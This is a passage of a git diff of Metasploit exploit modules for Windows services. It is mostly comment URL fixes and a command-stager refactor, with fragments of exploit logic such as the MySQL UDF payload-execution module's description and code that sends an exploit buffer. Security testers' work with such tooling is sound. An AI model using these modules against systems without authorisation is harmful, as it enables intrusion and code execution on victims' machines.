# file name req << "#{fname}" # data length - req << "#{[data.length].pack('l')}" + req << "#{[data.length].pack('V')}" # data req << "#{data}" connect diff --git a/modules/exploits/windows/misc/splayer_content_type.rb b/modules/exploits/windows/misc/splayer_content_type.rb index a623bbaa47..988b83a081 100644 --- a/modules/exploits/windows/misc/splayer_content_type.rb +++ b/modules/exploits/windows/misc/splayer_content_type.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/stream_down_bof.rb b/modules/exploits/windows/misc/stream_down_bof.rb index ea1da255b5..1d1237953b 100644 --- a/modules/exploits/windows/misc/stream_down_bof.rb +++ b/modules/exploits/windows/misc/stream_down_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/talkative_response.rb b/modules/exploits/windows/misc/talkative_response.rb index fbeeec1603..bb16741b6b 100644 --- a/modules/exploits/windows/misc/talkative_response.rb +++ b/modules/exploits/windows/misc/talkative_response.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/tiny_identd_overflow.rb b/modules/exploits/windows/misc/tiny_identd_overflow.rb index 72b975c492..cf947bc553 100644 --- a/modules/exploits/windows/misc/tiny_identd_overflow.rb +++ b/modules/exploits/windows/misc/tiny_identd_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb b/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb index 136f09c211..a7c7d48bfa 100644 --- a/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb +++ b/modules/exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/ufo_ai.rb b/modules/exploits/windows/misc/ufo_ai.rb index 69b7f54c47..de6bdafa9a 100644 --- a/modules/exploits/windows/misc/ufo_ai.rb +++ b/modules/exploits/windows/misc/ufo_ai.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/windows_rsh.rb b/modules/exploits/windows/misc/windows_rsh.rb index a486d7cd7a..5813334b8c 100644 --- a/modules/exploits/windows/misc/windows_rsh.rb +++ b/modules/exploits/windows/misc/windows_rsh.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/wireshark_lua.rb b/modules/exploits/windows/misc/wireshark_lua.rb index eec34a0ff8..34fe258f61 100644 --- a/modules/exploits/windows/misc/wireshark_lua.rb +++ b/modules/exploits/windows/misc/wireshark_lua.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/misc/wireshark_packet_dect.rb b/modules/exploits/windows/misc/wireshark_packet_dect.rb index b3a318e69a..bc5044dd83 100644 --- a/modules/exploits/windows/misc/wireshark_packet_dect.rb +++ b/modules/exploits/windows/misc/wireshark_packet_dect.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb b/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb index 38369a7685..c20731b6f7 100644 --- a/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb +++ b/modules/exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/motorola/timbuktu_fileupload.rb b/modules/exploits/windows/motorola/timbuktu_fileupload.rb index f277fd2bb1..178db155a1 100644 --- a/modules/exploits/windows/motorola/timbuktu_fileupload.rb +++ b/modules/exploits/windows/motorola/timbuktu_fileupload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb b/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb index 22c7d70e9a..a4bb8bffe2 100644 --- a/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb +++ b/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/mssql/ms02_039_slammer.rb b/modules/exploits/windows/mssql/ms02_039_slammer.rb index 8f2f2f6cf4..bebd9c7c2d 100644 --- a/modules/exploits/windows/mssql/ms02_039_slammer.rb +++ b/modules/exploits/windows/mssql/ms02_039_slammer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/mssql/ms02_056_hello.rb b/modules/exploits/windows/mssql/ms02_056_hello.rb index bf4e705038..91180f3205 100644 --- a/modules/exploits/windows/mssql/ms02_056_hello.rb +++ b/modules/exploits/windows/mssql/ms02_056_hello.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb index e7ecba856b..fa9004658b 100644 --- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb +++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb index 8a16697870..320da58665 100644 --- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb +++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/mssql/mssql_linkcrawler.rb b/modules/exploits/windows/mssql/mssql_linkcrawler.rb index 3d1e5d8d71..a965c71db1 100644 --- a/modules/exploits/windows/mssql/mssql_linkcrawler.rb +++ b/modules/exploits/windows/mssql/mssql_linkcrawler.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Report - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -55,6 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Automatic', { } ], ], + 'CmdStagerFlavor' => 'vbs', 'DefaultTarget' => 0 )) @@ -112,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote # Create loot table to store configuration information from crawled database server links linked_server_table = Rex::Ui::Text::Table.new( 'Header' => 'Linked Server Table', - 'Ident' => 1, + 'Indent' => 1, 'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user', 'link_privilege', 'link_version', 'link_os','link_state'] ) save_loot = "" diff --git a/modules/exploits/windows/mssql/mssql_payload.rb b/modules/exploits/windows/mssql/mssql_payload.rb index 12d74503a5..308b879375 100644 --- a/modules/exploits/windows/mssql/mssql_payload.rb +++ b/modules/exploits/windows/mssql/mssql_payload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MSSQL - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager #include Msf::Exploit::CmdStagerDebugAsm #include Msf::Exploit::CmdStagerDebugWrite #include Msf::Exploit::CmdStagerTFTP @@ -58,6 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Automatic', { } ], ], + 'CmdStagerFlavor' => 'vbs', 'DefaultTarget' => 0, 'DisclosureDate' => 'May 30 2000' )) diff --git a/modules/exploits/windows/mssql/mssql_payload_sqli.rb b/modules/exploits/windows/mssql/mssql_payload_sqli.rb index 687cf8c45d..963631e449 100644 --- a/modules/exploits/windows/mssql/mssql_payload_sqli.rb +++ b/modules/exploits/windows/mssql/mssql_payload_sqli.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MSSQL_SQLI - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -83,6 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Automatic', { } ], ], + 'CmdStagerFlavor' => 'vbs', 'DefaultTarget' => 0, 'DisclosureDate' => 'May 30 2000' )) diff --git a/modules/exploits/windows/mysql/mysql_mof.rb b/modules/exploits/windows/mysql/mysql_mof.rb index 8ad1ea5b97..d5f5f5bb83 100644 --- a/modules/exploits/windows/mysql/mysql_mof.rb +++ b/modules/exploits/windows/mysql/mysql_mof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/mysql/mysql_payload.rb b/modules/exploits/windows/mysql/mysql_payload.rb index 6a03777b27..d4ae44de2b 100644 --- a/modules/exploits/windows/mysql/mysql_payload.rb +++ b/modules/exploits/windows/mysql/mysql_payload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,43 +9,44 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::MYSQL - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, - 'Name' => 'Oracle MySQL for Microsoft Windows Payload Execution', - 'Description' => %q{ - This module creates and enables a custom UDF (user defined function) on the - target host via the SELECT ... into DUMPFILE method of binary injection. On - default Microsoft Windows installations of MySQL (=< 5.5.9), directory write - permissions not enforced, and the MySQL service runs as LocalSystem. + 'Name' => 'Oracle MySQL for Microsoft Windows Payload Execution', + 'Description' => %q{ + This module creates and enables a custom UDF (user defined function) on the + target host via the SELECT ... into DUMPFILE method of binary injection. On + default Microsoft Windows installations of MySQL (=< 5.5.9), directory write + permissions not enforced, and the MySQL service runs as LocalSystem. - NOTE: This module will leave a payload executable on the target system when the - attack is finished, as well as the UDF DLL, and will define or redefine sys_eval() - and sys_exec() functions. - }, - 'Author' => - [ - 'Bernardo Damele A. G. ', # the lib_mysqludf_sys.dll binaries - 'todb' # this Metasploit module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - # Bernardo's work with cmd exec via udf - [ 'URL', 'http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html' ], - # Advice from 2005 on securing MySQL on Windows, kind of helpful. - [ 'URL', 'http://dev.mysql.com/tech-resources/articles/securing_mysql_windows.html' ] - ], - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', { } ], # Confirmed on MySQL 4.1.22, 5.5.9, and 5.1.56 (64bit) - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Jan 16 2009' # Date of Bernardo's blog post. + NOTE: This module will leave a payload executable on the target system when the + attack is finished, as well as the UDF DLL, and will define or redefine sys_eval() + and sys_exec() functions. + }, + 'Author' => + [ + 'Bernardo Damele A. G. ', # the lib_mysqludf_sys.dll binaries + 'todb' # this Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + # Bernardo's work with cmd exec via udf + [ 'URL', 'http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html' ], + # Advice from 2005 on securing MySQL on Windows, kind of helpful. + [ 'URL', 'http://dev.mysql.com/tech-resources/articles/securing_mysql_windows.html' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', { } ], # Confirmed on MySQL 4.1.22, 5.5.9, and 5.1.56 (64bit) + ], + 'CmdStagerFlavor' => 'vbs', + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 16 2009' # Date of Bernardo's blog post. )) register_options( [ diff --git a/modules/exploits/windows/mysql/mysql_yassl_hello.rb b/modules/exploits/windows/mysql/mysql_yassl_hello.rb index 2a56d80ddd..8117dfec8f 100644 --- a/modules/exploits/windows/mysql/mysql_yassl_hello.rb +++ b/modules/exploits/windows/mysql/mysql_yassl_hello.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb index 0d03a237e8..44eb354357 100644 --- a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb +++ b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/nfs/xlink_nfsd.rb b/modules/exploits/windows/nfs/xlink_nfsd.rb index ce07438d13..0811a8ec5c 100644 --- a/modules/exploits/windows/nfs/xlink_nfsd.rb +++ b/modules/exploits/windows/nfs/xlink_nfsd.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/nntp/ms05_030_nntp.rb b/modules/exploits/windows/nntp/ms05_030_nntp.rb index 97f6baf257..072d899ec9 100644 --- a/modules/exploits/windows/nntp/ms05_030_nntp.rb +++ b/modules/exploits/windows/nntp/ms05_030_nntp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb b/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb index 7f485d3c94..fd2883bd84 100644 --- a/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb +++ b/modules/exploits/windows/novell/file_reporter_fsfui_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/novell/groupwisemessenger_client.rb b/modules/exploits/windows/novell/groupwisemessenger_client.rb index 706d6de78a..5bfc5009a1 100644 --- a/modules/exploits/windows/novell/groupwisemessenger_client.rb +++ b/modules/exploits/windows/novell/groupwisemessenger_client.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/novell/netiq_pum_eval.rb b/modules/exploits/windows/novell/netiq_pum_eval.rb index 652c37be25..27c274da71 100644 --- a/modules/exploits/windows/novell/netiq_pum_eval.rb +++ b/modules/exploits/windows/novell/netiq_pum_eval.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/novell/nmap_stor.rb b/modules/exploits/windows/novell/nmap_stor.rb index 90f13618b9..36575b89bd 100644 --- a/modules/exploits/windows/novell/nmap_stor.rb +++ b/modules/exploits/windows/novell/nmap_stor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/novell/zenworks_desktop_agent.rb b/modules/exploits/windows/novell/zenworks_desktop_agent.rb index ed35dfff1c..8899a87ccf 100644 --- a/modules/exploits/windows/novell/zenworks_desktop_agent.rb +++ b/modules/exploits/windows/novell/zenworks_desktop_agent.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb index 70fc51ae61..fa8277fb54 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb index 224db859b4..89913f04e5 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op4c_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb index 62f755ed72..8594b5a0c6 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb b/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb index 9b951f8a8f..9c8cbbc949 100644 --- a/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb +++ b/modules/exploits/windows/novell/zenworks_preboot_op6c_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/oracle/client_system_analyzer_upload.rb b/modules/exploits/windows/oracle/client_system_analyzer_upload.rb index 5078c34d36..b305977fbb 100644 --- a/modules/exploits/windows/oracle/client_system_analyzer_upload.rb +++ b/modules/exploits/windows/oracle/client_system_analyzer_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/oracle/extjob.rb b/modules/exploits/windows/oracle/extjob.rb index d3d7ad12e5..8e5df0a0d1 100644 --- a/modules/exploits/windows/oracle/extjob.rb +++ b/modules/exploits/windows/oracle/extjob.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SMB - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -40,6 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote # This module has been tested on Oracle 10g Release 1 # where the Oracle Job Scheduler runs as SYSTEM on Windows 'Targets' => [['Automatic',{}]], + 'CmdStagerFlavor' => 'vbs', 'Privileged' => true, 'DisclosureDate' => 'Jan 01 2007', 'DefaultTarget' => 0)) diff --git a/modules/exploits/windows/oracle/osb_ndmp_auth.rb b/modules/exploits/windows/oracle/osb_ndmp_auth.rb index cbaecb5730..bd720f2aee 100644 --- a/modules/exploits/windows/oracle/osb_ndmp_auth.rb +++ b/modules/exploits/windows/oracle/osb_ndmp_auth.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/oracle/tns_arguments.rb b/modules/exploits/windows/oracle/tns_arguments.rb index 15e6217fe1..8d33b8642c 100644 --- a/modules/exploits/windows/oracle/tns_arguments.rb +++ b/modules/exploits/windows/oracle/tns_arguments.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/oracle/tns_auth_sesskey.rb b/modules/exploits/windows/oracle/tns_auth_sesskey.rb index a75969a235..228927ad94 100644 --- a/modules/exploits/windows/oracle/tns_auth_sesskey.rb +++ b/modules/exploits/windows/oracle/tns_auth_sesskey.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/oracle/tns_service_name.rb b/modules/exploits/windows/oracle/tns_service_name.rb index 3eaa4cf412..2539cb0699 100644 --- a/modules/exploits/windows/oracle/tns_service_name.rb +++ b/modules/exploits/windows/oracle/tns_service_name.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/pop3/seattlelab_pass.rb b/modules/exploits/windows/pop3/seattlelab_pass.rb index 83c03e0b3f..2cd1ccf651 100644 --- a/modules/exploits/windows/pop3/seattlelab_pass.rb +++ b/modules/exploits/windows/pop3/seattlelab_pass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/postgres/postgres_payload.rb b/modules/exploits/windows/postgres/postgres_payload.rb index 6635980c29..52c9dcd97b 100644 --- a/modules/exploits/windows/postgres/postgres_payload.rb +++ b/modules/exploits/windows/postgres/postgres_payload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb b/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb index 74fa9fb368..623accfec0 100644 --- a/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb +++ b/modules/exploits/windows/proxy/bluecoat_winproxy_host.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb b/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb index a8ce719da6..bae54e50bb 100644 --- a/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb +++ b/modules/exploits/windows/proxy/ccproxy_telnet_ping.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -58,10 +58,10 @@ class Metasploit3 < Msf::Exploit::Remote def check connect - banner = sock.get_once(-1,3) || '' + banner = sock.get_once || '' disconnect - if (banner =~ /CCProxy Telnet Service Ready/) + if banner.to_s =~ /CCProxy Telnet Service Ready/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/proxy/proxypro_http_get.rb b/modules/exploits/windows/proxy/proxypro_http_get.rb index 668fd9da51..7dc8d3caef 100644 --- a/modules/exploits/windows/proxy/proxypro_http_get.rb +++ b/modules/exploits/windows/proxy/proxypro_http_get.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb b/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb index e1d85b055b..0c0b18f160 100644 --- a/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb +++ b/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/abb_wserver_exec.rb b/modules/exploits/windows/scada/abb_wserver_exec.rb index af8ddc5df0..cdb7cdb0d7 100644 --- a/modules/exploits/windows/scada/abb_wserver_exec.rb +++ b/modules/exploits/windows/scada/abb_wserver_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -45,6 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'ABB MicroSCADA Pro SYS600 9.3', { } ] ], + 'CmdStagerFlavor' => 'vbs', 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => 'Apr 05 2013' diff --git a/modules/exploits/windows/scada/citect_scada_odbc.rb b/modules/exploits/windows/scada/citect_scada_odbc.rb index 709606fcd2..2bc03b21f0 100644 --- a/modules/exploits/windows/scada/citect_scada_odbc.rb +++ b/modules/exploits/windows/scada/citect_scada_odbc.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb b/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb index d9d09d1128..fc6d37bdcb 100644 --- a/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb +++ b/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework # http://metasploit.com ## diff --git a/modules/exploits/windows/scada/codesys_web_server.rb b/modules/exploits/windows/scada/codesys_web_server.rb index 4db8fc6eea..48a22d1afb 100644 --- a/modules/exploits/windows/scada/codesys_web_server.rb +++ b/modules/exploits/windows/scada/codesys_web_server.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -79,14 +79,14 @@ class Metasploit3 < Msf::Exploit::Remote def check connect - sock.put("GET / HTTP/1.1\r\n\r\n") - res = sock.get(-1, 3) + sock.put("GET / HTTP/1.1\r\nHost: #{rhost}\r\n\r\n") + res = sock.get_once disconnect # Can't flag the web server as vulnerable, because it doesn't # give us a version - vprint_line(res) - if res =~ /3S_WebServer/ + vprint_line(res.to_s) + if res.to_s =~ /3S_WebServer/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe @@ -118,7 +118,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Trying target #{target.name}...") sock.put(sploit) - res = sock.get_once + res = sock.get_once(-1, 5) print_line(res) unless res.nil? handler diff --git a/modules/exploits/windows/scada/daq_factory_bof.rb b/modules/exploits/windows/scada/daq_factory_bof.rb index e6af676ceb..39c61305fd 100644 --- a/modules/exploits/windows/scada/daq_factory_bof.rb +++ 